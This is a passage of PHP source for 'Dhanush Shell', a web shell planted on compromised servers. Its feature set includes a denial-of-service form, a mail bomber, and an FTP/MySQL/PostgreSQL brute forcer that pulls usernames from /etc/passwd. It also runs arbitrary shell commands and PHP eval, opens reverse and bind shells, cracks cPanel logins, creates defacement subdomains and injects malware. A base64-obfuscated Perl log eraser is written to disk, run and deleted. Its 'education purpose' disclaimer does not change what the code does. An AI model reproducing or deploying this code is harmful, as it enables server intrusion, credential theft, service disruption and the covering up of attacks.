	else if(isset($_GET[\'dos\']))
	{ 
		?>
			<form method="GET">
				<table id="margins">
					<tr>
						<td width="400" class="title">
							IP
						</td>
						<td>
							<input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
						</td>
					</tr>
					
					<tr>
						<td class="title">
							Port
						</td>
						<td>
							<input class="box" name="port" value="80" onFocus="if(this.value == \'80\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'80\';"/>
						</td>
					</tr>
					
					<tr>
						<td class="title">
							Timeout <font >(Time in seconds)</font>
						</td>
						<td>
							<input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == \'5\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'5\';" />
						</td>
					</tr>
					<tr>
				<td class="title">
					Execution Time <font >(Time in seconds)</font> 
				</td>
				<td>
					<input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == \'10\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'10\';"/>
				</td>
			</tr>
			<tr>
				<td class="title">
					No of Bytes per/packet
				</td>
				<td>
					<input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == \'999999\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'999999\';"/>
				</td>
			</tr>
			<tr>
				<td rowspan="2">
					<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos(\'dosser\',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,\'null\')" class="but" value="   Attack >> "/>
				</td>
			</tr>
		</table>            
	</form><div id="showdos"></div>
	<?php
}
else if(isset($_GET[\'mailbomb\']))
{ ?>
	<center><table><tr><td><a href=javascript:void(0) onClick="getdata(\'bomb\')"><font class=txt size="4">| Mail Bomber |</font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'mail\')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
<?php
}
else if(isset($_GET[\'tools\']))
	{ 
		?>
		<center><br><form onSubmit="getport(host.value,protocol.value);return false;">
		<table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
			<tr>
				<td colspan="2" align="center"><b><font size=\'4\'>Port Scanner<br></font></b></td>
	   		</tr>
			<tr>
				<td align="center">
	   			<input class="sbox" type=\'text\' name=\'host\' value=\'<?php echo $_SERVER["SERVER_ADDR"]; ?>\' >
				</td>
	   			<td align="center">
				<select class="sbox" name=\'protocol\'>
	   				<option value=\'tcp\'>tcp</option>
	   				<option value=\'udp\'>udp</option>
	   			</select>
				</td>
	   		<tr>
			<td colspan="2" align="center"><input class="but" type=\'button\' onClick="getport(host.value,protocol.value)" value=\'Scan Ports\'></td>
			</tr>
			</form>
			<tr><td colspan=2><div id="showports"></div>
		</td></tr></table>
		
		<br>
		<form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
		<table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
			<tr>
				<td colspan="2" align="center"><font size="4">BruteForce</font></td>
			</tr>
			<tr>
				<td>Type : </td>
				<td>
					<select name="prototype" class="sbox">
						<option value="ftp">FTP</option>
						<option value="mysql">MYSQL</option>
						<option value="postgresql">PostgreSql</option>
					</select>
				</td>
			</tr>
			<tr>
				<td>Server <b>:</b> Port : </td>
				<td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
			</tr>
			<tr>
				<td valign="middle">Brute type : </td>
				<td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
				<label><input type=radio name=mytype value="2"> Dictionary</label><br>
				Login : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login" value="root" class="sbox"><br>
				Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
				</td>
			</tr>
			<tr>
				<td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
			</tr>
			</form><tr><td colspan="2" id="showbrute"></td></tr>
		</table>
		</center><br>
		<?php
}
else if (isset($_GET["phpc"]))
{
	 ?>
	 <div id="showresult"></div>
    <form name="frm">
    <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
	<br /><br />
    <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
	<label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
    </form>
    <?php
}
else if(isset($_GET["exploit"]))
{
	if(!isset($_GET["rootexploit"]))
	{
		?>
		<center>
		<form action="<?php echo $self; ?>" method="get" target="_blank">
			<input type="hidden" name="exploit">
			<table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
			<tr>
				<td style="height:60px;">
			<font size="4" class=txt>Select Website</font></td><td>
		<p><select id="rootexploit" name="rootexploit" class="box">
			<option value="exploit-db">Exploit-db</option>
			<option value="packetstormsecurity">Packetstormsecurity</option>
			<option value="exploitsearch">Exploitsearch</option>
			<option value="shodanhq">Shodanhq</option>
		</select></p></td></tr><tr><td colspan="2" align="center"  style="height:40px;">
		<input type="submit" value="Search" class="but"></td></tr></table>
		</form></center><br>
	
	<?php 
	}
	else
	{
		//exploit search
		$Lversion = php_uname(r);
		$OSV = php_uname(s);
		if(eregi(\'Linux\',$OSV))
		{
			$Lversion=substr($Lversion,0,6);
			if($_GET[\'rootexploit\'] == "exploit-db")
			{
				header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$Lversion&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=2&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
			}
			else if($_GET[\'rootexploit\'] == "packetstormsecurity")
			{
				header("Location:http://www.packetstormsecurity.org/search/?q=Linux+Kernel+$Lversion");
			}
			else if($_GET[\'rootexploit\'] == "exploitsearch")
			{
				header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
			}
			else if($_GET[\'rootexploit\'] == "shodanhq")
			{
				header("Location:https://exploits.shodan.io/?q=$Lversion+platform:\"linux\"");
			}
		}
		else
		{
			$Lversion=substr($Lversion,0,3);
			if($_GET[\'rootexploit\'] == "exploit-db")
			{
				header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=2&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
			}
			else if($_GET[\'rootexploit\'] == "packetstormsecurity")
			{
				header("Location:http://www.packetstormsecurity.org/search/?q=$OSV+Lversion");
			}
			else if($_GET[\'rootexploit\'] == "exploitsearch")
			{
				header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
			}
			else if($_GET[\'rootexploit\'] == "shodanhq")
			{
				header("Location:https://exploits.shodan.io/?q=$OSV+platform:\"windows\"");
			}
		}
		//End of Exploit search
	}
}
// Connect
else if(isset($_REQUEST[\'connect\']))
{
	?>
	<form action=\'<?php echo $self; ?>\' method=\'POST\' >
	<table style="width:50%" align="center" >
    <tr>
        <th colspan="1" width="50px">Reverse Shell</th>
        <th colspan="1" width="50px">Bind Shell</th>
    </tr>
    <tr>
         <td>
            <table style="border-spacing: 6px;">
                <tr>
                    <td>IP </td>
                    <td>
                        <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
                    </td>
                </tr>
                <tr>
                    <td>Port </td>
                    <td><input style="width: 200px;" class="box" name="port" size=\'5\' value="9891"/></td>
				</tr>
				<tr>
					<td style="vertical-align:top;">Use:</td>	
					<td><select style="width: 95px;" name="lang" class="sbox">
						<option value="perl">Perl</option>
						<option value="python">Python</option>
						<option value="php">PHP</option>
						</select>&nbsp;&nbsp;
					<input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
				</tr>
            </table> </form> 
         </td>
     
         <td style="vertical-align:top;">
		 <form method=\'post\' >
            <table style="border-spacing: 6px;">
                <tr>
                    <td>Port</td>
                    <td>
                        <input style="width: 200px;" class="box" name="port" value="9891" />
                    </td>
                </tr>
                <tr>
                    <td>Password </td>
                    <td>
						<input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
					</td>
					<tr>
						<td>Using</td>
						<td>
						<select style="width: 95px;" name="lang" id="lang" class="sbox">
						<option value="perl">Perl</option>
						<option value="c">C</option>
						</select>&nbsp;&nbsp;
						<input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
                </tr>
            </table>
         </td>
         </form>
    </tr>
	<tr><td colspan=2>Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command \'nc <?php yourip(); ?> 9891"!</td></tr>
    </table>
	   
	<?php 
	}
else if(isset($_REQUEST[\'subdomain\']))
{
	?>
	<center><form>
		<table>
		<tr>
			<td>Cpanel user : </td>
			<td><input type="text" name="cpaneluser" value="<?php echo get_current_user(); ?>" class="box" /></td>
		</tr>
		<tr>
			<td>Cpanel password : </td>
			<td><input type="password" name="cpanelpass" class="box" /></td>
		</tr>
		<tr>
			<td>Number of Subdomain : </td>
			<td><input type="text" name="noofsubdomain" class="box" value="10" /></td>
		</tr>
		<tr>
			<td valign="top">Index : </td>
			<td><textarea rows="7" cols="54" name="subindex" class="box">You just got Hacked</textarea></td>
		</tr>
		<tr>
			<td></td>
			<td><input type="button" value=" go " class="but" onClick="createsubdomain(cpaneluser.value,cpanelpass.value,noofsubdomain.value,subindex.value)" /></td>
		</tr>
		</table></center></form><br>
		<div id="showmydata"></div>
	<?php 
}
else if(isset($_REQUEST[\'404\']))
{
	?>
	<center><table><tr><td><a href=javascript:void(0) onClick="getdata(\'404new\')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
		<td><a href=javascript:void(0) onClick="getdata(\'404page\')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
		</tr></table></center><br>
		<div id="showdata"></div>
	<?php 
}
else if(isset($_GET[\'about\']))
	{ ?>
		<center>
		  <p><font  size=6><u>D h a n u s h</u></font><br>
		      <font  size=5>[--==Coded By Arjun==--]</font>
		    <div style=\'font-family: Courier New; font-size: 10px;\'><font class=om><pre>

       -  --  -
       -- -- --
       --    --
       ---  ---
       ------
       ----
   ----             
 ------           
-------          
---   --          
      --      --- 
      --      ----- 
     ---      --- --- 
     ---    ---   ---
--   ---------     --
--    -------      --
 --     ----       --
  --     ---       --
  --     --        --
   ---  ---   --  ---
    ------    ------
     ----      ----
      

		</pre></font></div></center>
		<font class="om">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server. The developer of the script is not responsible for any damage or misuse of it.</font><br><br><center><font  size=5>GREETZ To All Indian Hackers</font><br><font  size=6>| &#2332;&#2351; &#2350;&#2361;&#2366;&#2325;&#2366;&#2354; | | &#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342; |</font></center><br>
	<?php }
else if(isset($_GET[\'database\']))
{ ?>
	<form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
	<table id="datatable" style="width:90%;" cellpadding="4" align="center">
	<tr>
		<td colspan="2">Connect To Database</td>
	</tr>
	<tr>
		<td>Server Address :</td>
		<td><input type="text" class="box" name="server" value="localhost"></td>
	</tr>
	<tr>
		<td>Username :</td>
		<td><input type="text" class="box" name="username" value="root"></td>
	</tr>
	<tr>
		<td>Password:</td>
		<td><input type="text" class="box" name="password" value=""></td>
	</tr>
	
	<tr>
		<td></td>
		<td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value="  Connect  " name="executeit" class="but"></td>
	</tr>
	</table>
	</form>
	<div id="showsql"></div>
<?php	
}
// Cpanel Cracker
	else if(isset($_REQUEST[\'cpanel\']))
	{
		$cpanel_port="2082";
		$connect_timeout=5;
		?>
		<center>
		<form method=post>
		<table class="btmtbl" style="width:50%;" border=1 cellpadding=4>
			<tr>
				<td align=center>User names</td><td align=center>Password</td>
			</tr>
			<tr>
				<td align=center><textarea name=username rows=25 cols=22 class=box><?php 
				if($os != "Windows")
				{
					if(@file(\'/etc/passwd\'))
					{
						$users = file(\'/etc/passwd\');
						foreach($users as $user) 
						{
							$user = explode(\':\', $user);
							echo $user[0] . "
";
						}
					}
					else
					{
						$temp = "";
						$val1 = 0;
						$val2 = 1000;
						for(;$val1 <= $val2;$val1++) 
						{
							$uid = @posix_getpwuid($val1);
							if ($uid)
								 $temp .= join(\':\',$uid)."
";
						 }
						
						 $temp = trim($temp);
							 
						 if($file5 = fopen("test.txt","w"))
						 {
							fputs($file5,$temp);
							 fclose($file5);
							 
							 $file = fopen("test.txt", "r");
							 while(!feof($file))
							 {
							 	$s = fgets($file);
								$matches = array();
								$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
								$matches = str_replace("home/","",$matches[1]);
								if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
									continue;
								echo $matches;
							}
							fclose($file);
						}
					}
				}

				 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
			</tr>
			<tr>
				<td align=center colspan=2><input type="submit" name="cpanelattack" value="   Go    " class=but></td>
			</tr>
		</table>
		</form>
		</center>
		<?php
}
else if(isset($_REQUEST[\'malattack\']))
{
	?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
	<center><table><tr><td><a href=# onClick="getdata(\'malware\')"><font class=txt size="4">| Malware Attack |</font></a></td>
	<td><a href=# onClick="getdata(\'codeinsert\')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
	<div id="showdata"></div>
	<?php
}
else if(isset($_GET["com"]))
{
	echo "<br>";
	ob_start();
	eval("phpinfo();");
	$b = ob_get_contents();
	ob_end_clean();
	$a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
	$z = strpos($b,"</body>");
	$s_result = "<div class=\'myphp\'>".substr($b,$a,$z-$a)."</div>";
	echo $s_result;
}
else if(isset($_GET[\'execute\']))
{
	$comm = $_GET[\'execute\'];
	chdir($_GET[\'executepath\']);
	$check = shell_exec($comm);
	
	echo "<BR><center><textarea id=showexecute cols=100 rows=20 class=box>" . $check . "</textarea></center>";
		
	?>
	<BR><BR><center><form onSubmit="executemyfn(\'<?php echo addslashes($_GET[\'executepath\']); ?>\',execute.value);return false;">
	<input type="text" class="box" name="execute">
	<input type="button" onClick="executemyfn(\'<?php echo addslashes($_GET[\'executepath\']); ?>\',execute.value)" value="Execute" class="but">
	<input type="button" onClick="cancel()" value="cancel" class="but" /></form></center><BR>
	<?php
}
else if(isset($_GET[\'mycmd\']))
{
	if($_GET[\'mycmd\']=="logeraser")
	{
		$erase = gzinflate(base64_decode("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"));
		if(is_writable("."))
		{	
			if($openp = fopen(getcwd()."/logseraser.pl", \'w\'))
			{
				fwrite($openp, $erase);
				fclose($openp);
				passthru("perl logseraser.pl linux");
				unlink("logseraser.pl");
				echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
			}
		} else 
		{
			if($openp = fopen("/tmp/logseraser.pl", \'w\'))
			{
				fwrite($openp, $erase)or die("Error");
				fclose($openp);
				$aidx = passthru("perl logseraser.pl linux");
				unlink("logseraser.pl");
				echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
			}
		}
	}
	else
	{
		$check = shell_exec($_GET[\'mycmd\']);
		echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";

	}
}
else if(isset($_GET[\'prototype\'])) 
{
	echo \'<h1>Results</h1><div><span>Type:</span> \'.htmlspecialchars($_GET[\'prototype\']).\' <span><br>Server:</span> \'.htmlspecialchars($_GET[\'serverport\']).\'<br>\';
	if( $_GET[\'prototype\'] == \'ftp\' ) 
	{
		function BruteFun($ip,$port,$login,$pass) 
		{
			$fp = @ftp_connect($ip, $port?$port:21);
			if(!$fp) return false;
			$res = @ftp_login($fp, $login, $pass);
			@ftp_close($fp);
			return $res;
		}
	}
	elseif( $_GET[\'prototype\'] == \'mysql\' )
	{
		function BruteFun($ip,$port,$login,$pass) 
		{
			$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
			@mysql_close($res);
			return $res;
		}
	}
	elseif( $_GET[\'prototype\'] == \'pgsql\' )
	{
		function BruteFun($ip,$port,$login,$pass)
		{
			$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";
			$res = @pg_connect($str);
			@pg_close($res);
			return $res;
		}
	}
	
	$success = 0;
	$attempts = 0;
	$server = explode(":", $_GET[\'server\']);

	if($_GET[\'type\'] == 1) 
	{
		$temp = @file(\'/etc/passwd\');
		if( is_array($temp))
			foreach($temp as $line) 
			{
				$line = explode(":", $line);
				++$attempts;
				if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) ) 
				{
					$success++;
					echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
				}
				if(@$_GET[\'reverse\']) 
				{
					$tmp = "";
					for($i=strlen($line[0])-1; $i>=0; --$i)
						$tmp .= $line[0][$i];
					++$attempts;
					if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) ) 
					{
						$success++;
						echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
					}
				}
			}
	}
	elseif($_GET[\'type\'] == 2) 
	{
		$temp = @file($_GET[\'dict\']);
		if( is_array($temp) )
			foreach($temp as $line) 
			{
				$line = trim($line);
				++$attempts;
				if(BruteFun($server[0],@$server[1], $_GET[\'login\'], $line) ) 
				{
					$success++;
					echo \'<b>\'.htmlspecialchars($_GET[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
				}
			}
	}
	echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
}
// Execute Query
else if(isset($_GET["executeit"]))
{
	if(isset($_GET[\'username\'])  && isset($_GET[\'server\']))
	{ 
		$dbserver = $_GET[\'server\'];
		$dbuser = $_GET[\'username\'];
		$dbpass = $_GET[\'password\'];
		if(mysql_connect($dbserver,$dbuser,$dbpass))
		{
			setcookie("dbserver", $dbserver);			
			setcookie("dbuser", $dbuser);
			setcookie("dbpass", $dbpass);
			
			listdatabase();
		}
		else					
			echo "cannotconnect";
	}
}
else if(isset($_GET[\'action\']) && isset($_GET[\'dbname\']))


	{
		if($_GET[\'action\'] == "createDB")
		{
			$dbname = $_GET[\'dbname\'];
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
			mysql_query("create database $dbname",$mysqlHandle);
			listdatabase();
		}
		if($_GET[\'action\'] == \'dropDB\')
		{
			$dbname = $_GET[\'dbname\'];
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
			mysql_query("drop database $dbname",$mysqlHandle);
			mysql_close($mysqlHandle);
			listdatabase();
		}

		if($_GET[\'action\'] == \'listTables\')
		{
			listtable();
		}
		
		// Create Tables
		if($_GET[\'action\'] == "createtable")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			mysql_query("CREATE TABLE $tablename ( no INT )");
			listtable();
		}
		
		// Drop Tables
		if($_GET[\'action\'] == "dropTable")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			mysql_query("drop table $tablename");
			listtable();
		}
		
		// Empty Tables
		if($_GET[\'action\'] == "empty")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			mysql_query("delete from $tablename");
			listtable();
		}
		
		// Empty Tables
		if($_GET[\'action\'] == "dropField")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$fieldname = $_GET[\'fieldname\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
			mysql_select_db( $dbname, $mysqlHandle );
			mysql_query( $queryStr , $mysqlHandle );
			listtable();
		}
		
		if($_GET[\'action\'] == \'viewdb\')
		{
			listdatabase();	
		}
		
		// View Table Schema
		if($_GET[\'action\'] == "viewSchema")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'listTables\',\'$dbname\',\'$tablename\')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";	
			$pResult = mysql_query( "SHOW fields FROM $tablename" );
			$num = mysql_num_rows( $pResult );
			echo "<br><br><table class=btmtbl align=center cellspacing=4 style=\'width:80%;\' border=1>";
			echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
			for( $i = 0; $i < $num; $i++ ) 
			{
				$field = mysql_fetch_array( $pResult );
				echo "<tr>
";
				echo "<td>".$field["Field"]."</td>
";
				echo "<td>".$field["Type"]."</td>
";
				echo "<td>".$field["Null"]."</td>
";
				echo "<td>".$field["Key"]."</td>
";
				echo "<td>".$field["Default"]."</td>
";
				echo "<td>".$field["Extra"]."</td>
";
				$fieldname = $field["Field"];
				echo "<td><a href=# onClick=\"viewtables(\'dropField\',\'$dbname\',\'$tablename\',\'\',\'\',\'\',\'$fieldname\')\">Drop</a></td>
";
				echo "</tr>
";
			}
			echo "</table>";
			echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'listTables\',\'$dbname\',\'$tablename\')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";
		}
		
		// Execute Query
		if($_GET[\'action\'] == "executequery")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			$result = mysql_query($_GET[\'executemyquery\']); 
			
			//  results 
			echo "<html>
". strtoupper($_GET[\'executemyquery\']) . "<br>
<table border =\"1\">
"; 
			 
			$count = 0; 
			while ($row = mysql_fetch_assoc($result)) 
			{ 
			   echo "<tr>
"; 
			 
			   if ($count==0) // list column names 
			   { 
				  echo "<tr>
"; 
				  while($key = key($row)) 
				  { 
					 echo "<td><b>" . $key . "</b></td>
"; 
					 next($row); 
				  } 
				  echo "</tr>
"; 
			   } 
			 
			   foreach($row as $r) // list content of column names 
			   { 
				  if ($r==\'\') $r = \'<font >NULL</font>\'; 
				  echo "<td><font class=txt>" . $r . "</font></td>
"; 
			   } 
			   echo "</tr>
"; 
			   $count++; 
			} 
			echo "</table>

<font class=txt size=3>" . $count . " rows returned.</font>
</html>"; 
			echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'listTables\',\'$dbname\',\'$tablename\')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";
		}
		
		// View Table Data
		if($_GET[\'action\'] == "viewdata")
